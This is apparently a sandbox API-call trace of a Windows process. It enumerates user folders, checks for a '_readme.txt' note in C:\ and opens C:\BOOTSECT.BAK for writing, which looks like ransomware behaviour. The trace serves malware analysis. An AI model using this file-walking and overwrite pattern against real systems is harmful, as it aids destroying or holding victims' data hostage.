[0117.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Music\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 0xffffffff [0117.301] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770fb8 | out: hHeap=0x35b0000) returned 1 [0117.301] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.301] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.301] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.301] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\") returned="My Pictures\\" [0117.301] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.301] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.301] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.301] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.301] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.301] PathFindFileNameW (pszPath="") returned="" [0117.301] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Pictures\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf18907a0, ftCreationTime.dwHighDateTime=0x1d4c9b5, ftLastAccessTime.dwLowDateTime=0x45a810c0, ftLastAccessTime.dwHighDateTime=0x1d4d153, ftLastWriteTime.dwLowDateTime=0x45a810c0, ftLastWriteTime.dwHighDateTime=0x1d4d153, nFileSizeHigh=0x0, nFileSizeLow=0x7a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zEPqRnNSMkR2u9.pptx", cAlternateFileName="ZEPQRN~1.PPT")) returned 0xffffffff [0117.302] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770fb8 | out: hHeap=0x35b0000) returned 1 [0117.302] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.302] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.302] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.302] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\") returned="My Shapes\\" [0117.302] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.302] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.302] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.302] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.302] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.302] PathFindFileNameW (pszPath="") returned="" [0117.302] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.303] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770fb8 | out: hHeap=0x35b0000) returned 1 [0117.303] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.303] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebf97a0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0117.303] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9e9e4460, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9e9e4460, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites.vss", cAlternateFileName="FAVORI~1.VSS")) returned 1 [0117.303] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 1 [0117.303] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0 [0117.303] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.303] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.303] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.303] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\") returned="My Videos\\" [0117.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.303] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.303] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.303] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.303] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.303] PathFindFileNameW (pszPath="") returned="" [0117.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Videos\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x9ebad4e0, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_private", cAlternateFileName="")) returned 0xffffffff [0117.304] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770dd8 | out: hHeap=0x35b0000) returned 1 [0117.304] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.304] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.304] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\") returned="Outlook Files\\" [0117.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0117.304] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.304] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.304] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.304] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.304] PathFindFileNameW (pszPath="") returned="" [0117.304] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Outlook Files\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.305] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770dd8 | out: hHeap=0x35b0000) returned 1 [0117.305] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.305] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5a868660, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5a868660, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x6228cf40, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x42400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="voeimd@djhreuu.uhd.pst", cAlternateFileName="VOEIMD~1.PST")) returned 1 [0117.306] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.306] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.306] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.306] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.306] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0117.306] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0117.306] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.306] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.306] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.306] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.306] PathFindFileNameW (pszPath="") returned="" [0117.306] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.306] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368de98 | out: hHeap=0x35b0000) returned 1 [0117.306] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.307] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.307] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x368dd60 | out: hHeap=0x35b0000) returned 1 [0117.307] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.307] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0117.307] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0117.307] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.307] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.307] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.307] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.307] PathFindFileNameW (pszPath="") returned="" [0117.307] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.308] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3607be0 | out: hHeap=0x35b0000) returned 1 [0117.308] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.309] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.309] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x3607c68 | out: hHeap=0x35b0000) returned 1 [0117.309] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.309] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0117.309] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0117.309] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.309] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.309] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.309] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.310] PathFindFileNameW (pszPath="") returned="" [0117.310] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.311] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770dd8 | out: hHeap=0x35b0000) returned 1 [0117.311] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.312] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.312] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6771120 | out: hHeap=0x35b0000) returned 1 [0117.312] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.312] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0117.312] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0117.312] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.312] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.312] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6165798 | out: hHeap=0x35b0000) returned 1 [0117.312] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.312] PathFindFileNameW (pszPath="") returned="" [0117.312] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.316] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x6770dd8 | out: hHeap=0x35b0000) returned 1 [0117.316] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.317] HeapFree (in: hHeap=0x35b0000, dwFlags=0x0, lpMem=0x61617c8 | out: hHeap=0x35b0000) returned 1 [0117.317] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.317] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\") returned="JMb5K DyX7\\" [0117.317] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0117.317] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.317] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.317] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.317] PathFindFileNameW (pszPath="") returned="" [0117.317] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\JMb5K DyX7\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2f3f940, ftCreationTime.dwHighDateTime=0x1d4cd73, ftLastAccessTime.dwLowDateTime=0x9b3a2170, ftLastAccessTime.dwHighDateTime=0x1d4cde5, ftLastWriteTime.dwLowDateTime=0x9b3a2170, ftLastWriteTime.dwHighDateTime=0x1d4cde5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.319] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.320] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.320] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\") returned="PO z8nOyg\\" [0117.320] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0117.320] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.320] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.320] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.320] PathFindFileNameW (pszPath="") returned="" [0117.320] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\PO z8nOyg\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x35ec8490, ftCreationTime.dwHighDateTime=0x1d4cd8e, ftLastAccessTime.dwLowDateTime=0x445aacc0, ftLastAccessTime.dwHighDateTime=0x1d4d1a1, ftLastWriteTime.dwLowDateTime=0x445aacc0, ftLastWriteTime.dwHighDateTime=0x1d4d1a1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.322] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.323] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.323] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\") returned="_Iy8x9AH9E4iyV\\" [0117.323] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0117.323] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0117.323] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0117.323] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.323] PathFindFileNameW (pszPath="") returned="" [0117.323] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\_Iy8x9AH9E4iyV\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6184750, ftCreationTime.dwHighDateTime=0x1d4c77f, ftLastAccessTime.dwLowDateTime=0xa2493510, ftLastAccessTime.dwHighDateTime=0x1d4c65a, ftLastWriteTime.dwLowDateTime=0xa2493510, ftLastWriteTime.dwHighDateTime=0x1d4c65a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6183848 [0117.325] FindClose (in: hFindFile=0x6183848 | out: hFindFile=0x6183848) returned 1 [0117.326] PeekMessageW (in: lpMsg=0x6a5fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x6a5fb74) returned 0 [0117.326] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0117.326] PathFindFileNameW (pszPath="") returned="" [0117.326] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x757a0000 [0117.327] GetProcAddress (hModule=0x757a0000, lpProcName="SHGetFolderPathW") returned 0x75825708 [0117.327] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x61eeac0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0117.327] FreeLibrary (hLibModule=0x757a0000) returned 1 [0117.327] PathAppendW (in: pszPath="C:\\", pMore="_readme.txt" | out: pszPath="C:\\_readme.txt") returned 1 [0117.327] PathFileExistsW (pszPath="C:\\_readme.txt") returned 1 [0117.327] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x6183848 [0117.328] PathFindExtensionW (pszPath="C:\\bootmgr") returned="" [0117.328] PathFindExtensionW (pszPath="C:\\BOOTSECT.BAK") returned=".BAK" [0117.328] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff 